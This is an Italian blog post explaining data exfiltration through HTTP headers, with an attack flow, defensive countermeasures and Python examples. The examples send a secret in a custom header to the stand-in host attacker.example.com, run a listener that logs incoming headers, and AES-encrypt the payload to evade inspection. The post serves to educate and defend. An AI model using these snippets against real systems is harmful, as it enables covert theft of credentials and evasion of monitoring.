![]() |
L'esfiltrazione tramite header HTTP avviene quando un attaccante inserisce dati sensibili (es. credenziali, token, contenuti di file, ecc.) all’interno degli header HTTP di una richiesta che viene inoltrata a un server controllato dall'attaccante. Gli header sono campi come User-Agent, Referer, Cookie, X-Forwarded-For, Authorization, o header personalizzati (X-Custom-Header).
📌 Cos'è
La Relayed Data Exfiltration via HTTP Headers è una tecnica avanzata utilizzata da attaccanti per sottrarre dati sensibili sfruttando header HTTP apparentemente innocui. Questo tipo di esfiltrazione è particolarmente insidioso perché può bypassare firewall, WAF e proxy aziendali, mimetizzandosi tra il traffico legittimo.
⚙️ Come funziona
Il meccanismo si basa sull’inserimento di dati esfiltrati all’interno di uno o più header HTTP di una richiesta che viene inoltrata ("relayed") da un’applicazione web — spesso tramite vulnerabilità come SSRF, RFI, o misconfigurazioni di proxy.
🔁 Flusso tipico dell’attacco
- L’attaccante sfrutta un punto di ingresso (es. input utente o vulnerabilità) per far sì che un server della vittima generi una richiesta HTTP.
- I dati da esfiltrare vengono inseriti in un header HTTP come
User-Agent,Referer, o un header personalizzato (X-Secret-Data). - Il server della vittima invia la richiesta a un dominio controllato dall’attaccante.
- Il server dell’attaccante legge gli header HTTP e estrae i dati rubati.
🧪 Esempio di esfiltrazione (in python)
✅ Script di invio dati
import requests
# Dato sensibile da esfiltrare
secret_data = "password=SuperSegreta123"
# Server dell'attaccante
attacker_url = "http://attacker.example.com/collect"
# Header contenente il dato
headers = {
"User-Agent": "Mozilla/5.0",
"X-Secret-Data": secret_data
}
requests.get(attacker_url, headers=headers)
✅ Listener per intercettare gli header
from http.server import BaseHTTPRequestHandler, HTTPServer
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
for key, value in self.headers.items():
print(f"{key}: {value}")
self.send_response(200)
self.end_headers()
self.wfile.write(b"OK")
HTTPServer(('', 8000), Handler).serve_forever()
🕵️♂️ Crittografia dei dati negli header
Per rendere l’esfiltrazione ancora più difficile da identificare, un attaccante può crittografare i dati prima di inserirli negli header. Questo nasconde completamente il contenuto anche agli strumenti di ispezione che cercano pattern noti.
🔒 Esempio con codifica Base64 + crittografia AES
from Crypto.Cipher import AES
import base64
key = b'Sixteen byte key'
cipher = AES.new(key, AES.MODE_ECB)
plaintext = b"token=ABC123"
padded = plaintext + b' ' * (16 - len(plaintext) % 16)
encrypted = cipher.encrypt(padded)
encoded = base64.b64encode(encrypted).decode()
headers = {
"X-Secret-Data": encoded
}
Chi riceve i dati può decifrarli solo conoscendo la chiave simmetrica. Questo rende la rilevazione basata su pattern inefficace.
⚠️ Nota importante
Gli esempi di codice sono solo a scopo didattico e di testing locale. L’uso su sistemi senza autorizzazione è illegale e contrario all’etica informatica.
🧱 Tecniche di difesa
✅ Buone pratiche e contromisure
- Controllare e validare gli header HTTP in uscita.
- Limitare i domini di destinazione per il traffico HTTP generato dall’interno.
- Utilizzare firewall e proxy con ispezione profonda (deep packet inspection).
- Monitorare header anomali o rari come
X-*,Authorization,Referercon payload non standard. - Bloccare o controllare SSRF/RFI e limitare l'accesso a endpoint interni.
- Decodificare e ispezionare contenuti codificati o criptati nei log di traffico sospetto.
🧭 Conclusione
La Relayed Data Exfiltration via HTTP Headers è una tecnica tanto subdola quanto efficace. Grazie alla sua capacità di mascherarsi nel traffico legittimo e, se necessario, di criptare i payload, rappresenta una minaccia concreta soprattutto per infrastrutture cloud o microservizi mal configurati.
È quindi fondamentale adottare un approccio proattivo, combinando visibilità, controllo del traffico e pratiche di sviluppo sicuro.
Follow me #techelopment
Official site: www.techelopment.it
facebook: Techelopment
instagram: @techelopment
X: techelopment
Bluesky: @techelopment
telegram: @techelopment_channel
whatsapp: Techelopment
youtube: @techelopment
